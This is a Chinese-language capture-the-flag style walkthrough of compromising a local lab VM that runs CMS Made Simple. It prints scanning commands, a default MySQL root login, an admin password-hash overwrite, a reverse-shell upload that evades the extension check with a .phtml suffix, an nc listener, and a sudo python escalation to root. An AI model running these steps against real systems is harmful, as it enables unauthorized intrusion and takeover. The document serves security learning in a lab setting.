文章目录
- 一、环境布置
- 主机发现
- 二、端口扫描
- nikto基本探测
- 目录扫描
- CMS EXP搜索
- 探查mysql数据库
- CMS代码审计
- CMS后台
- 权限提升
一、环境布置
靶机在virtualbox中搭建,攻击机使用vmware中安装的kali,主要是解决kali能ping通靶机,同时能访问外网。
解决方法;VirtualBox(Host only)和VMware共用同一虚拟网卡
需要注意的是靶机IP怎么获取?开启靶机后,靶机会自动显示ip地址。
192.168.56.1
并不是靶机的ip地址,而是主机(本机,物理机)在该局域网下的IP地址,同时需要启用DHCP服务器
来让kali再该封闭式局域网(only-host)中获取一个IP地址。
在该host模式的局域网下,主机(192.168.56.1
)可以ping通靶机(192.168.56.103
)和kali(192.168.56.101
),但是kali(192.168.56.101
)不能ping通主机(192.168.56.1
)。
故所有设备IP(Only-host)如下:
- 靶机IP:
192.168.56.103
- kaliIP:
192.168.56.101
主机发现
也可以用nmap
进行主机发现,主要是对only-host模式下的局域网进行主机发现,命令如下:
nmap -sP 192.168.56.0/24 # 对192.168.56网段进行扫描
192.168.56.1
:主机IP;192.168.56.100
:DHCP服务器IP;192.168.56.101
:Kali IP;192.168.56.103
:靶机IP。
二、端口扫描
nmap -p- -sV -A 192.168.56.103
-p-
:代表扫描所有端口,从1-65535,默认进行TCP扫描;
-sV
:探测服务/版本信息;
-A
:启动OS检测,版本检测,脚本扫描和traceroute。简单来说,输出更加详细的日志信息。
没有
-A
参数的扫描结果,也就是命令nmap -p- -sV 192.168.56.103
整理出nmap扫描的重要信息,并保存到scan.txt
中
这里可以看到该靶机开放了ssh服务(22端口)、web服务(80端口)、mysql数据库服务(3306).
针对80端口的web渗透,通常:
- 使用nikto进行基本的漏洞探测;
- 目录扫描,发现更多网站路径。
nikto基本探测
使用nikto
对web服务做基本的探测,命令如下:
nikto -host http://192.168.56.103
扫描结果如下,nikto
除了检测漏洞信息,也有进行目录扫描(如扫出./phpinfo.php、./config.php
等)。
一般情况下,
phpinfo.php
是不会被看到的,在某些src平台泄露phpinfo甚至算低危漏洞。
目录扫描
目录扫描,命令如下:
dirsearch -u http://192.168.56.103 -w ./directory-list-2.3-medium.txt -e php,txt,html,js,php.bak,txt.bak,html.bak,json,git,git.bak
-w
:爆破所用字典的位置,包含多个字典可用,
分割,字典使用SeclLists
-e
:站点文件类型列表,如php、js、html等。
扫描结果如下:
发现用
dirsearch
默认的字典跑出来结果还多些,真是栓Q~
简单说一下http状态码的含义:
- 2XX:成功状态,表明客户端的请求已经被服务器端成功接收并正确解析。200表示请求成功。
- 3XX:重定向,表示客户端需要采取更进一步的行动来完成请求。301代表永久重定向。
- 4XX:客户端错误,表示客户端的请求存在错误,导致服务器无法处理。401表示需要身份验证,403表示禁止访问。
打开http://192.168.56.103/phpmyadmin
,发现需要登录,这里可以尝试弱口令爆破,先不尝试,看看后面有啥
打开http://192.168.56.103/config.php
发现空白,可以尝试用命令行访问是不是真的空白,命令如下:curl -i -L http://192.168.56.103/config.php
-i
:打印出服务器回应的 HTTP 标头。
-L
:会让 HTTP 请求跟随服务器的重定向。curl
默认不会跟随重定向。
打开http://192.168.56.103/config.php
,尝试SQL注入,使用万能密码登录。发现不行,过滤符号😖😖😖
不过,这里可以发现该网站使用CMS搭建,CMS版本为CMS Made Simple
😆😆😆
CMS EXP搜索
知道了CMS,就可以用searchsploit
去找该CMS是否有漏洞,命令如下:
searchsploit cms made simple
searchsploit
是一个用于Exploit-DB的命令行搜索工具,就是kali本地会有一个漏洞库,漏洞库里的数据来自Exploit-DB,searchsploit
是漏洞搜索脚本。
目前CMS版本未知,只能挨个去尝试,重点关注RCE漏洞。这里尝试使用2.1.6 Remote Code Execution
searchsploit -m 44192.txt # exp复制到单独的文件夹
该exp需要访问/cms
文件夹,网站都没这个目录,不太行,再尝试别的。网站这块搞不定了,只能到这儿了,换下别的思路😅😅😅
探查mysql数据库
当详细输出下面这类信息的时候,说明mysql允许远程连接mysql数据库。
尝试弱口令和默认用户名密码来连接mysql数据库~,命令如下:
mysql -h 192.168.56.103 -uroot -p # 尝试空密码、root密码
用户名和密码都是root
☺️☺️☺️
在cms_users
中发现了后台用户名、密码(经过MD5加密,32位),尝试暴力破解,发现不行😒😒😒。可以继续尝试更新admin用户的密码。
echo -n 123456 | md5sum # 计算123456的MD5值
//update命令用法
update table_name set column1 = value1 where condition;
update cms_users set password = '<md5值>' where username = 'admin'; # 实际环境中最好不要使用update命令
echo -n
:表示不换行输出,默认会将\n
(换行符)送给下一个命令;- 管道符
|
,A | B
表示命令A的结果为命令B的输入。
回到http://192.168.56.103/config.php
,使用更新后的密码进行登陆,发现登录不成功,G
登录不成功有以下几个原因:
- 使用的算法不是MD5;
- 对密码进行了特殊处理。
接下来,去找CMS Made Simple的源码,分析加密方法。cms源码下载
trunk
文件夹包含代码主干信息。
CMS代码审计
要想知道cms是怎样对明文进行加密的,我们需要找到登录时候的代码,在这个cms中就是login.php。大概看下逻辑,如下图,如果登录取消就怎么怎么样,如果登录提交就怎么怎么,重点就是else if
后面的代码,首先是判断post传参中的username
和password
,如果存在就赋值给$username
和$password
,认证代码肯定是调用的外部函数,再加上相关注释,验证代码应该在LoadUserByUsername
中。
在LoadUserByUsername
中,当password != ''
时,在password
前面拼接了一段字符串,再进行md5
加密。
找到get_site_preference()
函数,发现是调用cms_siteprefs
中的静态方法get
来得到那串字符串。
cms_siteprefs::get
中的::
代表调用静态方法。
转到cms_siteprefs
的get
方法,以当前类为参数去调用global::get
,大概意思应该是在全局缓存中以当前类名为参数进行查询,$prefs[$key]
不为空,就返回$prefs[$key]
,否则就返回空。
转到global::get
,根据return的值,可以发现最终返回的是$_cache
中的内容,而$_cache
的值是来自于$_type
。而$_type
是通过函数add_cachable()
来获得的。
在cms_siteprefs
的setup
方法中调用了global_cache
的add_cachable
方法,大致意思就是变量$obj
的值来源于静态方法read
,read
方法是执行了SQL语句来获取相关内容并赋值给变量$_prefs
。总的来说,我们需要的$prefs[$key]
来源于这个SQL语句的结果。
根据SQL语句,查询的表名应该是带有site_prefs
字符串的表名,可以看到数据库中只有cms_siteptrefs
这个表。
show create table cms_siteprefs; # 查看表的创建过程
desc cms_siteprefs; # 查看表的结构
我们需要的$prefs[$key]
这个值,$prefs
来源于cms_prefs
这个表,而$key='sitemask'
,然后根据$_prefs[$row['sitepref_name']] = $row['sitepref_value'];
,可以推测出sitemask
应该归属于列名sitepref_name
,故构造SQL语句:
select * from cms_siteprefs where sitepref_name='sitemask';
芜湖~,拼接上这个值再进行md5加密就可以更改管理员密码了
echo -n <值> | md5sum # 计算123456的MD5值
//update命令用法
update table_name set column1 = value1 where condition;
update cms_users set password = '<md5值>' where username = 'admin'; # 实际环境中最好不要使用update命令
使用密码登录CMS后台~
CMS后台
渗透测试的目标是登录远程主机,并且获得root权限,目前只是获得了web服务的权限。在后台重点找文件上传点。文件上传的目的是上传一个恶意脚本,来拿下这台主机,来达到一个效果:我们在本地输入命令,终端会执行输入的命令(也就是将终端的conmand reverse 到本地)。那么上传什么样的脚本呢?该脚本的功能就是将终端的命令行能reverse到本地。找一个php reverse脚本:php-reverse-shell,可以使用git clone
命令进行脚本下载。
:set number # vim中对每一行添加行号
# 更改ip和端口
$ip = '192.168.56.101';
$port = '4444';
在这个上传点进行文件上传,上传php-reverse-shell.php
这个脚本,发现不成功。文件上传失败的原因有:可能限制后缀名。这里就需要使用一些绕过技巧~
在php开发中,纯php代码的文件后缀一般是
.php
,纯html代码的文件后缀一般为.html
,php代码和html代码混合的文件后缀一般为.phtml
。
这里可以试着将原文件的后缀.php
改为.phtml
再上传,上传成功~
监听本地4444端口,浏览器执行上传的shell文件,反弹shell。
nc -nlvp 4444
-n
:直接使用IP地址,而不通过域名服务器;
-l
:llisten,监听模式;
-v
:显示指令执行过程;
-p
:port,端口。
权限提升
登录到主机后,做以下事情:
1、 到home
目录下看有哪些用户有自己的目录,即,哪些用户能登录该主机;
ls -al; # l代表以列表的形式进行输出;a查看隐藏文件
这里只是发现binary.sh
是一个具备SUID权限的程序,简单来说就是,所有用户均可执行具备SUID权限的程序,在执行过程中,执行者将拥有程序所有者的权限。
2、搜索具备SUID权限的程序,命令如下:
find / -perm -u=s -type f 2>/dev/null
find语法:
find [path] [expression]
-perm
:按照文件权限来查找文件。
-type
:按文件类型查找,可以是 f(普通文件)、d(目录)、l(符号链接)等。
2>/dev/null
: 错误输出不显示在屏幕上
这里发现了这么多Set UID的文件,可以尝试sudo提权。(还不太理解,先看别人怎么做~)
cd /var/www/html/admin # 进入网站的admin文件夹下
ls -al # 查看该文件夹下的所有文件,发现一个带有password的隐藏文件
cat .htpasswd
echo '<值>' | base64 -d # 对值进行解码,-d就是解码,不要-d就是base64加密
看到字符串中含有
大小写字母、=
,可能是经过了base64编码。
这里获取到了armour
用户的密码。当拿到一个用户名和密码登录到系统的时候,第一件事是看这个用户有没有sudo的权限!
su armour # 变更用户为armour
sudo -l # 查看当前用户的权限,主要就是看该用户在运行某个脚本时能不能以root用户去运行。
sudo -i # 使当前用户长时间拥有root用户权限
可以发现,当前armour
用户当使用sudo
执行python脚本时,会以root权限运行且无密码。那么可以使用python来获取root用户的shell。反弹Shell升级为交互式Shell、python
sudo python -c 'import os;os.system("/bin/bash")' # 获取普通shell
sudo python -c 'import pty; pty.spawn("/bin/bash")' # 获取半交互式shell
# 获取交互式shell
$ python -c 'import pty; pty.spawn("/bin/bash")'
Ctrl-Z
$ stty raw -echo
$ fg
$ reset
$ export SHELL=bash
//$ export TERM=xterm-256color
最后拿到flag,所有的flag都在/root/proof.txt